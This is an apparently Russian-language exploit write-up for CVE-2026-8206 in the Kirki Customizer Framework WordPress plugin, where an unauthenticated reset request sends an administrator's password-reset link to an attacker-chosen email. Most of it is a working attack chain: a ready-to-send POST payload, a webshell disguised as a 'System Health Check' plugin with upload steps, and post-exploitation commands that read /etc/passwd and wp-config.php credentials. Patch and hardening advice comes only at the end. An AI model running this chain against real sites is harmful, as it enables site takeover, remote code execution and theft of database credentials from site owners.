
CVE-2026-8206: Kirki Customizer Framework - Захват учетной записи без аутентификации (CVSS 9.8)
CVSS v3.1 9.8 / 10.0 КРИТИЧЕСКИЙ
Вектор: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-8206 — это уязвимость неавторизованного захвата учётной записи в Kirki Customizer Framework — популярном плагине конструктора страниц для WordPress с более чем 90 000 активных установок. Уязвимость позволяет атакующему захватить любую учётную запись WordPress (включая администратора), отправив всего один HTTP-запрос.
Ошибка находится в endpoint REST API kirki-forgot-password модуля ComponentLibrary. Этот endpoint позволяет запросить сброс пароля для любого пользователя и отправляет ссылку для сброса на email-адрес, указанный атакующим, вместо зарегистрированного email пользователя.
| Информация | Детали |
|---|---|
| Плагин | Kirki Customizer Framework (конструктор страниц WordPress) |
| Затронутые версии | 6.0.0 – 6.0.6 |
| Исправлено в | 6.0.7 (или 6.0.12+) |
| Тип уязвимости | Неавторизованный захват учётной записи через перехват email для сброса пароля |
| Endpoint | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (или /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password) |
| CVSS | 9.8 КРИТИЧЕСКИЙ |
Предпосылки для эксплуатации:
→ Каждый сайт WordPress с установленным Kirki 6.0.0–6.0.6 уязвим по умолчанию.
Kirki регистрирует endpoint REST API для функции Component Library, включая login, register, forgot-password и change-password. Все они разрешают гостевой доступ (guest_permissions_check возвращает true).
Nonce в WordPress — это токен защиты от CSRF. Kirki требует nonce через заголовок X-WP-Element-Nonce или проверяет параметр nonce в запросе. Однако nonce можно публично сгенерировать или извлечь на стороне клиента.
WordPress использует get_password_reset_key() для генерации токена сброса пароля. Kirki включает этот токен в шаблон письма перед отправкой.
Файл: ComponentLibrary/controller/CompLibFormHandler.php
В уязвимой версии (6.0.0–6.0.6) функция handle_forgot_password() не проверяет, совпадает ли указанный email с зарегистрированным email пользователя. Атакующий может указать имя пользователя жертвы и свой собственный email — ссылка для сброса будет отправлена на email атакующего.
Уязвимый исходный код:
public function handle_forgot_password( $request ) {
$form_data = $request->get_body_params();
$this->validate_nonce( 'kirki-forgot-password' );
$email = $form_data['email']; // <-- ATTACKER CONTROLLED
$username = $form_data['username'];
$user = get_user_by( 'login', $username );
//BUG: Does NOT check $email === $user->user_email
// Attacker's email is used directly
$key = get_password_reset_key( $user );
$reset_link = "$url?action=rp&key=$key&login=$username";
// SENDS RESET LINK TO ATTACKER'S EMAIL
wp_mail( $email, $subject, $body_with_reset_link );
// ^^^^^
// ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}
Тема и тело письма принимаются от клиента через параметры emailSubject и emailBody без какой-либо HMAC-подписи для проверки целостности. Атакующий может произвольно изменять содержимое отправляемого письма.
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject']; // Client-controlled
$email_body = $form_data['emailBody']; // Client-controlled
// No verify_email_template_signature()
// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}
| Фактор | Пояснение |
|---|
Эксплуатация CVE-2026-8206 начинается с нулевого доступа — без учётной записи, пароля и сессии — и приводит к полному захвату администратора с использованием только HTTP-запросов.
Phase 1: Extract Nonce → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email → Send reset link to attacker's email
Phase 3: Reset Password → Change admin password using the obtained reset key
Phase 4: Login Admin → Log in with the new password
Phase 5: Webshell Upload → Install backdoor via plugin upload
Phase 6: RCE → Execute arbitrary commands on the server
Скачайте плагин с wordpress.org и откройте файл CompLibFormHandler.php напрямую:
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
if ( $body_data['type'] === 'text' ) {
$email_body = $email_body . $body_data['value'];
} elseif ( $body_data['type'] === 'chip' ) {
$email_body = $email_body . $chip_data[ $body_data['value'] ];
// ^^^^^^^^^^^^^^^^^^^
// $chip_data['reset_link'] = actual reset URL!
}
}
→ Чтение кода показывает: emailBody должен быть JSON-массивом, где каждый элемент имеет type и value. Если type = chip, а value = reset_link, Kirki автоматически вставляет ссылку для сброса в письмо.
Выполните grep непосредственно в каталоге плагина:
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/
Скомпилированный фронтенд-код раскроет точную требуемую JSON-структуру.
Find endpoint (/wp-json/ or rest_route)
↓
Read PHP source → find $form_data['emailBody']
↓
Understand JSON array format (type / value)
↓
Read chip_data array → find key "reset_link"
↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
↓
Test → success
Атакующий отправляет POST-запрос на endpoint forgot-password с именем пользователя жертвы (admin) и email-адресом, контролируемым атакующим ([email protected]). Сервер генерирует ключ сброса для жертвы, но отправляет ссылку для сброса на [email protected].
Отправка запроса:
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded
username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

Ответ (успех):

Письмо, полученное в почтовом ящике атакующего (MailHog на http://localhost:8025):
Subject: Password Reset
Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

Атакующий использует токен key, полученный из письма, чтобы изменить пароль учётной записи администратора через endpoint kirki-change-password или стандартную форму WordPress, после чего входит в систему и получает полный административный контроль над сайтом.

Пароль изменён, и выполнен вход с использованием учётной записи admin.

Доступ к учётной записи admin получен.
После получения доступа к админ-панели атакующий переходит от захвата учётной записи к удалённому выполнению кода (RCE) через стандартную функцию WordPress «Загрузить плагин».
Атакующий создаёт PHP-веб-шелл, замаскированный под легитимный плагин WordPress:
<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
echo '<pre>';
echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
echo '</pre>';
}
Этот файл сжимается в system-health.zip для загрузки через интерфейс администратора.
Атакующий переходит в Плагины → Добавить новый → Загрузить плагин, выбирает файл system-health.zip и нажимает Установить → Активировать плагин.

После загрузки WordPress автоматически распаковывает .zip-файл в каталог /wp-content/plugins/ на сервере, и веб-шелл готов к работе.
Атакующий обращается к веб-шеллу напрямую через endpoint /wp-content/plugins/webshell-plugin/shell.php


RCE выполнен успешно.
На этом этапе атакующий имеет полную возможность выполнения команд на сервере с правами www-data. Дальнейшие действия могут включать:
Admin Dashboard (Account Takeover)
↓
Upload Plugin containing Webshell (.zip)
↓
WordPress extracts → .php file resides on server
↓
Access shell.php?cmd=<command>
↓
Server executes command → returns result
↓
RCE complete — full www-data privileges on server
| Текущая версия | Обновиться до |
|---|---|
| 6.0.0 – 6.0.6 | 6.0.7 или новее |
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response(
array( 'message' => 'If an account exists...' ), 200
);
}
$email = $user_email; // Force use of the user's actual email
Даже если учётная запись администратора скомпрометирована, ущерб можно смягчить следующими мерами:
| Аутентификация не требуется | guest_permissions_check() возвращает true — вызвать endpoint может кто угодно |
| Можно захватить любую учётную запись | Нужно только имя пользователя (по умолчанию: 'admin') — email/пароль не требуются |
| Влияние: захват администратора | Захват администратора → загрузка веб-шелла → RCE → полный контроль над сервером |
| Широкое распространение | Kirki — плагин, широко интегрированный во множество тем WordPress |
| Команда | Назначение |
|---|
id | Подтвердить права текущего пользователя |
whoami | Просмотреть имя текущего пользователя |
cat /etc/passwd | Прочитать список пользователей системы |
uname -a | Просмотреть информацию о ядре/ОС |
cat wp-config.php | Прочитать учётные данные базы данных |
ls -la / | Просмотреть всю файловую систему |
| # | Фаза | Метод | Путь |
|---|
| 1 | Перехват email для сброса | POST | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password |
| 2 | Сброс пароля | GET | /wp-login.php?action=rp&key=<token>&login=admin |
| 3 | Вход администратора | POST | /wp-login.php |
| 4 | Загрузка веб-шелла | POST | /wp-admin/update.php?action=upload-plugin |
| 5 | RCE | GET | /wp-content/plugins/webshell-plugin/shell.php?cmd=<command> |
| Мера | Конфигурация |
|---|
| Блокировка установки плагинов/тем через админ-панель | Добавьте define('DISALLOW_FILE_MODS', true); в wp-config.php |
| Блокировка редактирования кода из админ-панели | Добавьте define('DISALLOW_FILE_EDIT', true); в wp-config.php |
| Ограничение прав на каталог загрузок | chmod 755 для каталогов, chmod 644 для файлов |
| WAF (межсетевой экран веб-приложений) | Разверните ModSecurity или Cloudflare WAF для блокировки аномальных запросов к REST API |
| Мониторинг | Отслеживайте изменения файлов в /wp-content/plugins/ с помощью таких инструментов, как OSSEC или Wordfence |